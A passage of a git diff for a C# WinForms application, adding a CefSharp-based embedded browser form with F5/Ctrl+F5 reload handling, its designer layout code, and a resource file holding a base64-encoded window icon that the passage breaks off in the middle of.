CefEventFlags.ControlDown) + { + //MessageBox.Show("ctrl+f5"); + browser.Reload(true); //强制忽略缓存 + } + else + { + //MessageBox.Show("f5"); + browser.Reload(); + } + break; + } + } + return false; + } + + public bool OnPreKeyEvent(IWebBrowser browserControl, IBrowser browser, KeyType type, int windowsKeyCode, int nativeKeyCode, CefEventFlags modifiers, bool isSystemKey, ref bool isKeyboardShortcut) + { + return false; + } + } +} diff --git a/TEMUKJD/KJDForms/ToolForms/IeForm.designer.cs b/TEMUKJD/KJDForms/ToolForms/IeForm.designer.cs new file mode 100644 index 0000000..72975a1 --- /dev/null +++ b/TEMUKJD/KJDForms/ToolForms/IeForm.designer.cs @@ -0,0 +1,125 @@ +namespace LittleRabbit.LittleRabbitForms.ToolForms +{ + partial class IeForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(IeForm)); + this.panel2 = new System.Windows.Forms.Panel(); + this.splitContainer1 = new System.Windows.Forms.SplitContainer(); + this.btnGoTo = new LittleRabbit.UserControls.ButtonEx(); + this.txtUrl = new System.Windows.Forms.TextBox(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).BeginInit(); + this.splitContainer1.Panel1.SuspendLayout(); + this.splitContainer1.Panel2.SuspendLayout(); + this.splitContainer1.SuspendLayout(); + this.SuspendLayout(); + // + // panel2 + // + this.panel2.BackColor = System.Drawing.Color.White; + this.panel2.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel2.Location = new System.Drawing.Point(0, 0); + this.panel2.Name = "panel2"; + this.panel2.Size = new System.Drawing.Size(1228, 700); + this.panel2.TabIndex = 1; + // + // splitContainer1 + // + this.splitContainer1.BackColor = System.Drawing.Color.White; + this.splitContainer1.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer1.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer1.Location = new System.Drawing.Point(1, 33); + this.splitContainer1.Name = "splitContainer1"; + this.splitContainer1.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer1.Panel1 + // + this.splitContainer1.Panel1.Controls.Add(this.btnGoTo); + this.splitContainer1.Panel1.Controls.Add(this.txtUrl); + // + // splitContainer1.Panel2 + // + this.splitContainer1.Panel2.Controls.Add(this.panel2); + this.splitContainer1.Size = new System.Drawing.Size(1228, 731); + this.splitContainer1.SplitterDistance = 27; + this.splitContainer1.TabIndex = 2; + // + // btnGoTo + // + this.btnGoTo.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnGoTo.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnGoTo.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnGoTo.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnGoTo.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnGoTo.ForeColor = System.Drawing.Color.White; + this.btnGoTo.Location = new System.Drawing.Point(1165, 2); + this.btnGoTo.Margin = new System.Windows.Forms.Padding(2); + this.btnGoTo.Name = "btnGoTo"; + this.btnGoTo.Size = new System.Drawing.Size(61, 25); + this.btnGoTo.TabIndex = 375; + this.btnGoTo.Text = "跳转"; + this.btnGoTo.UseVisualStyleBackColor = false; + this.btnGoTo.Click += new System.EventHandler(this.btnGoTo_Click); + // + // txtUrl + // + this.txtUrl.Location = new System.Drawing.Point(3, 4); + this.txtUrl.Name = "txtUrl"; + this.txtUrl.Size = new System.Drawing.Size(1161, 21); + this.txtUrl.TabIndex = 0; + // + // IeForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(1230, 765); + this.Controls.Add(this.splitContainer1); + this.DoubleBuffered = true; + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "IeForm"; + this.Text = "浏览器"; + this.TitleText = "浏览器"; + this.Load += new System.EventHandler(this.IeForm_Load); + this.Controls.SetChildIndex(this.splitContainer1, 0); + this.splitContainer1.Panel1.ResumeLayout(false); + this.splitContainer1.Panel1.PerformLayout(); + this.splitContainer1.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).EndInit(); + this.splitContainer1.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Panel panel2; + private System.Windows.Forms.SplitContainer splitContainer1; + private System.Windows.Forms.TextBox txtUrl; + private UserControls.ButtonEx btnGoTo; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/ToolForms/IeForm.resx b/TEMUKJD/KJDForms/ToolForms/IeForm.resx new file mode 100644 index 0000000..e540000 --- /dev/null +++ b/TEMUKJD/KJDForms/ToolForms/IeForm.resx @@ -0,0 +1,1253 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAEAgIAAAAEAIAAoCAEAFgAAACgAAACAAAAAAAEAAAEAIAAAAAAAAAgBAMQOAADEDgAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/fj8b/34/VP9+P3//fj+m/34/zP9+ + P+T/fj/1/34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj/6/34/7v9+P93/fj/M/34/pv9+P3//fj9U/34/GwAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9+ + PzP/fj+Q/34/2/9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34/2/9+P5D/fj8zAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA/34/Df9+P3T/fj/W/34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj/W/34/dP9+Pw0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/34/EP9+P4D/fj/t/34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34/7f9+ + P4H/fj8QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA/34/Af9+P2H/fj/r/34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P+v/fj9h/34/AQAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9+PyT/fj/E/34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj/E/34/IwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAD/fj9V/34/8f9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj/x/34/VQAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/fj8B/34/jP9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34/jP9+PwEAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/34/Bv9+ + P6X/fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34/pf9+PwYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9+Pwb/fj+3/34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///4BC//+DRv//iU///4xU//+PWf//klz//5Nf//+WYv//lmP//5dk//+X + ZP//l2X//5dl//+WY///lF///5Jd//+QWf//jVb//4lQ//+FSv//gUT//34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34/t/9+PwYAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/fj8B/34/pP9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///+CRP//ilD//5Jc//+bav//onX//6h9//+vh///uJb//8Sn///P + t///18P//9zL///g0f//5Nb//+fc///p3v//6t///+rg///q4P//6t///+ne///m2f//4dP//93N///Z + x///0Lr//8aq//+6mf//sYr//6qB//+keP//nW3//5Zj//+NVv//h0z//4BC//9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34/pP9+PwEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9+P4r/fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///hEf//45X//+aaf//qoD//76f///T + vf//5dj//+/n///18P//+vj///37///+/f///fz///79///+/v///v7////+/////v////7///////// + /v////7//////////v/////////+/////v////7////+///+/v///v7///7+///9+///+vj///f0///y + 7P//6d///9zL///Lsf//uJX//6Z7//+ZaP//jVb//4JF//9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34/iwAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/fj9V/34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///+D + Rv//kFr//6Z6///Aov//28n//+7l///59v///fz////+//////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////////////v///v7///79///9/f//+PX//+7l///a + yP//vp7//6R3//+QWv//hUn//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34/VQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA/34/I/9+P/D/fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///4BB//+JUP//oHH//7+f///g0P//9O////z7/////v////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////7///7+///9/f//9vL//+PV///EqP//pnr//45X//+C + RP//fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj/w/34/IwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9+PwH/fj/E/34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///4BB//+KUf//p33//9G7///w + 6P///Pr///7+//////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////v7///38///07///2cf//7ON//+UX///gkX//34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj/E/34/AQAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA/34/Yf9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///39B//+JUP//pXr//9jE///49P///v7///////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////7////////+ + /f//+fX//+LT//+6mf//k1///4JE//9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj9hAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9+PxD/fj/q/34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///+FSv//oHH//862///18P////7///////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////7+/////v///////////////////v7///n3///g0P//soz//4xT//9/ + Qf//fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P+r/fj8SAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA/34/f/9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///+A + Qv//j1n//7ua///s4////f3///////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////7///7+///28v//0r3//59x//+FSv//f0D//34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P4AAAAAAAAAAAAAAAAAAAAAAAAAAAP9+Pw3/fj/u/34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///gUT//5pp///Vwf//+fb////+//////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////////////////////////////////////////////////////+ + /f//7OL//7iV//+OVv//f0H//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34/7v9+ + Pw0AAAAAAAAAAAAAAAAAAAAA/34/dP9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///4VJ//+k + eP//4tT///79//////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////////////////////+/f//9vH//8yz//+XZP//gEH//34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34/dAAAAAAAAAAAAAAAAP9+PwH/fj/b/34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///+FSv//rYT//+ne///+/f////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////v//+/j//9vK//+ca///gkT//34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj/b/34/AQAAAAAAAAAA/34/O/9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///g0f//6yD///s + 4v///v3//////////////v7///////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////////////////////////////v///v7//+PV//+k + d///g0b//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj87AAAAAAAAAAD/fj+Q/34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///4RH//+off//6uD///7+/////v/////////////+/v////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////v7////+/////v///fv//+PW//+idf//gUP//34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P5AAAAAAAAAAAP9+P9j/fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///+AQf//nm7//+TX///9 + /f////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////////////////////////////////v7////+//// + /v///fz//+PV//+ebv//gUT//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34/2QAAAAD/fj8d/34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///45W///SvP///Pv///7+//////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////v7//////////v///fz//9zM//+YZf//f0D//34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34/Hv9+P1b/fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///+GSv//u5r///n1//// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////////////////+/n//863//+LUv//fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj9W/34/hP9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///gEH//59x///s4v////////////////////////////////////////////7+ + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////////////////////////////v//9/L//7SQ//+E + R///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P4T/fj+t/34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///+KUP//zLL///z7//// + /////////////////////////Pv///f0/v/x6/7/7+n9//Tv/v/6+P7//v7///////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////////////////////////+/f//+/n///j1/v/38/7/+fb+//38 + ///////////////////////////////+/v//6d7//5tp//9/QP//fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34/rf9+ + P8z/fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///f0D//6J0///u5v////7//////////////////v7///n2/v/o3v3/0sD6/8ew + +f/Frvn/y7b6/9zO+//y7P7//fz///////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////+/r///Hr/v/h1fz/1sX7/9PB+v/ay/v/6N/9//f0/v/+/v/////////////////////////9 + /P//ya///4ZL//9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj/M/34/5f9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///+GS///ya////z7//// + ///////////////////59/7/49j8/8Go+f+vj/f/qof2/6mG9v+sivb/t5n3/9C9+v/x6/7//v7///// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////z6///r4/3/zLf6/7OU9/+qh/b/qYb2/62M + 9v+9ovj/28z7//by/v////////////////////////7+///w6P//oHH//39A//9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P+D/fj/y/34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///5hl///r4f////7//////////////////fz//+zl/f/ErPn/q4n2/6mG + 9v+phvb/qYb2/6mG9v+qh/b/tJX3/9fH+//59/7///////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///+/f//8ev+/8y3+v+sivb/qYb2/6mG9v+phvb/qYb2/6qH9v+3mvf/39L8//v6//////////////// + /v////////z7///Jrv//h03//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34/7P9+P///fj///34///9+P///fj///34///9+ + 